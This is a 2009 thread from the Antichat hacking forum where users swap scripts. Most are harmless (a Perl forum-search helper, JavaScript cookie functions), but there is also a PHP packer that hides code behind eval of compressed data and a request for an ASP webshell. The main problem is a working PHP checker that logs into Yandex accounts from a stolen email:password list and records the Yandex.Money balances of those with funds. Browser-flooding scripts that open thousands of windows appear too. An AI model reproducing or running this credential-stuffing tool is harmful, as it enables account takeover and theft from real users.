Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.08.2009, 20:07
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Ну начали срать .. не видно, что тут выкладывают скрипты, а не сваливают вопросы \ прозьбы и прочее?
|
|
|

07.08.2009, 20:12
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
В общем да, но раз задали вопрос - надо ответить 
|
|
|

08.08.2009, 06:51
|
|
Banned
Регистрация: 06.07.2009
Сообщений: 74
Провел на форуме: 437317
Репутация:
209
|
|
Анти-боян, perl+гугля )
[Анти-боян, perl+гугля ]
Так как анти-боян временно не работает, вот написал простенький скрипт на перле, может кому пригодится )))
Принцип работы думаю понятен )
Если есть какие-нибудь предложения или недостатки - пишем в ПМ, исправлю)
PHP код:
#!usr/bin/perl
system('title Anti-boyan from ANTICHAT - Coded By mr.gr33n');
system('color A');
system('cls');
use LWP::UserAgent;
use HTTP::Request::Common;
print "\n\t***********************************\n";
print "\t* Anti-boyan *\n";
print "\t* Coded By mr.gr33n *\n";
print "\t***********************************\n";
print "\tEnter site:\n\n\n";
$site=<STDIN>;
if ($site=~ /forum.antichat.ru/)
{
print "\n\n\nNe xuya sebe, ti x3k0r!!!=)\n\n\n\n";
$w=<STDIN>;
exit;
}
$url = "http://www.google.com/search?q=.$site site:forum.antichat.ru";
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
$connect = $lwp -> get($url);
if ($connect -> content =~ /SQL/)
{
if ($connect -> content =~ /Ingen/)
{
print "[+] Proverka : Prodolzhai, eto Ne boyan =)\n";
} else {
print "[-] Proverka : Zabei, eto BOYAN =(";
}
} else {
print "[+] Proverka : Prodolzhai, eto Ne boyan =)\n";
}
print "\n\n\n\n\n\n##";
print "\n# Coded by mr.gr33n";
print "\n##\n";
$a=<STDIN>;
###
## mr.gr33n
###
(с) mr.gr33n
Последний раз редактировалось mr.gr33n; 09.08.2009 в 04:29..
|
|
|

10.08.2009, 10:31
|
|
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
Провел на форуме: 936234
Репутация:
56
|
|
Не знал в какой теме и разделе спросить, нашел вроде бы самую подходящую 
Подскажите пожалуйста вебшелл на asp (если есть такие вообще))).
Где то на ачате когда то встречал целую тему где собраны все вебшеллы (там вроде бы был такой), а вот сейчас перерыл весь поиск но так и не смог найти ту тему. заранее спасибо )
|
|
|

10.08.2009, 16:25
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
http://forum.antichat.ru/thread103576.html
|
|
|

11.08.2009, 21:00
|
|
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме: 154305
Репутация:
6
|
|
JS-функции для работы с cookies
Код:
<script type="text/javascript">
function SetCookie(name,value){
var argv=SetCookie.arguments;
var argc=SetCookie.arguments.length;
var expires=(argc>2)?argv[2]:null;
var path=(argc>3)?argv[3]:null;
var domain=(argc>4)? argv[4]:null;
var secure=(argc>4)? argv[5]:false;
document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain));
}
function getCookieVal(offset){
var endstr=document.cookie.indexOf(";",offset);
if (endstr==-1)
endstr=document.cookie.length;
return unescape(document.cookie.substring(offset,endstr));
}
function GetCookie(name){
var arg=name+"=";
var alen=arg.length;
var clen=document.cookie.length;
var i=0;
while (i<clen){
var j=i+alen;
if (document.cookie.substring(i,j)==arg)
return getCookieVal(j);
i=document.cookie.indexOf(" ",i)+1;
if (i==0)
break;
}
return null;
}
function delCookie(name){
if (get_cookie(name))
document.cookie = name + '=; expires=Thu, 01-Jan-70 00:00:01 GMT';
}
</script>
создаёт три функции:
SetCookie (name, value) - устанавливает куку с именем name и значением value, имеет 4 необязательных параметра - expires, path, domain, secure (новичкам это не надо, знающие - поймут =))
GetCookie (name) - возвращает значение куки с именем name
delCookie (name) - удаляет куку с именем name
|
|
|

13.08.2009, 09:13
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
PHP код:
<?php
function pack_php($file)
{
if (!file_exists($file) or !is_readable($file))
{
die('The file could not be found. Trying to hack yourself? 0_o');
}
$code = bzcompress('?>'. shell_exec('php -nw '. $file), 9);
$output_fname = dirname($file). '/'. basename($file, '.php'). '_bz.php';
$output = fopen($output_fname, 'w');
fputs($output, '<?php $f=fopen(__FILE__,\'r\');'.
'fseek($f,133);$c=\'\';'.
'while (!feof($f)){$c.=fread($f,1024);}'.
'eval(bzdecompress($c));'.
'__halt_compiler(); ?>'. "\n". chr(0));
fputs($output, $code);
fclose($output);
chmod($output_fname, 0777);
echo "done.\n";
$before = filesize($file);
$after = filesize($output_fname);
echo '> Before compress : '. ($before / 1024). " Kb\n";
echo '> After compress : '. ($after / 1024). " Kb\n";
echo '> Compress ratio : '. (($before - $after) * 100) / $before. "%\n";
}
?>
> Before compress : 151.182617188 Kb
> After compress : 27.3408203125 Kb
> Compress ratio : 81.915367771%
Последний раз редактировалось BlackSun; 13.08.2009 в 09:20..
Причина: форум сует не приличные весчи в жизненно важные куски кода ( внимательней с пробелами!
|
|
|

13.08.2009, 14:00
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
PHP код:
<?php
@set_time_limit(0);
$url = "http://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru"; // урла с авторизацией
$url1 = "http://passport.yandex.ru/passport?mode=logout"; // Выход с ящика.
$ua = "Opera 9.64";
$ref = "http://www.yandex.ru/";
$req = "";
$money_file = "valid.txt"; // Фаил с ВАЛИДНЫМИ мылами
$result = "result.txt"; // Фаил вида мыло:пароль:рублёвая зелень
$nulled = "nulled.txt"; // Фаил с кошелями с нулевым балансом.
$counter = "0";
$counter1 = "0";
$fp = fopen($money_file,"r");
$fp1 = fopen($result,"a+");
$fp2 = fopen($nulled,"a+");
for ($i = 0; $i < 1681;$i++) { // Тут задаём количество мыл в файле.Удобно,если нужно считать часть мыл,а не все сразу
$str = fgets($fp,1024);
$str = explode(":",trim($str));
$req = "login=$str[0]&passwd=$str[1]"; //Формируем запрос
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url); //Посылаем запрос
curl_setopt($ch,CURLOPT_REFERER,$ref);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://money.yandex.ru"); // Переходим на страницу Яндекс.Деньги,чтобы посмотреть баланс.
curl_setopt($ch,CURLOPT_REFERER,"http://passport.yandex.ru");
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res1 = curl_exec($ch);
if(preg_match_all('#<span id="current-user-balance">(.*?)</span>#',$res1,$m)) { // Парсим рубли )
foreach ($m[1] as $r) {
if ($r == '0,00*руб.') {
$counter1++;
$null = $str[0].':'.$str[1].':'.$r;
fwrite($fp2,$null."\r\n");
}
else {
$counter++;
$res = $str[0].':'.$str[1].':'.$r;
fwrite($fp1,$res."\r\n");
}
}
}
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url1); //Выходим с мыла.
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
echo "Ждём три секунды...<br>";
sleep(3); // Задержка перед запросами на чек мыл.
curl_close($ch);
}
echo "<center>Всего кошельков: $counter </center>";
echo "<center>Из них пустых: $counter1 </center>";
fclose($fp);
fclose($fp1); // Каанееец ^_________^
fclose($fp2);
// Copyrighted by Веля солнышкин
?>
ЗЫ: Добавлена проверка для кошельков с нулевым балансом).
Последний раз редактировалось Велемир; 13.08.2009 в 19:46..
|
|
|

14.08.2009, 00:13
|
|
Banned
Регистрация: 08.08.2009
Сообщений: 46
Провел на форуме: 372123
Репутация:
67
|
|
Скрипт отвечаюшей за перемещение окна броузера по десктопу и его отражение
Простенький скрипт, не помню где достал
Конечно не оч полезный, но все же
Код:
<script language = javascript>
function move_the_window( ){
window.resizeTo(screen.width/2,screen.height/2);
window.moveTo(1,1);
var x=1;
var y=1;
var dx=7;
var dy=10;
move( );
function move( ){
while(true){
if(x>=(screen.width) || x<=0) dx=-dx;
if(y>=(screen.height) || y<=0) dy=-dy;
x+=dx
y+=dy;
window.moveTo (x,y);
}
}
}
</script>
Ну и генерация множества окон:
Код:
<script language = javascript>
function generate_windows( ){
var i=1;
while (i < 10000){
window.open();
i++;
}
}
</script>
|
|
|

14.08.2009, 01:07
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
Сообщение от okthxnz
Ну и генерация множества окон:
Код:
<script language = javascript>
function generate_windows( ){
var i=1;
while (i < 10000){
window.open();
i++;
}
}
</script>
скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется. 
Его еще на старом ачате выставляли
Последний раз редактировалось satana-fu; 14.08.2009 в 01:10..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|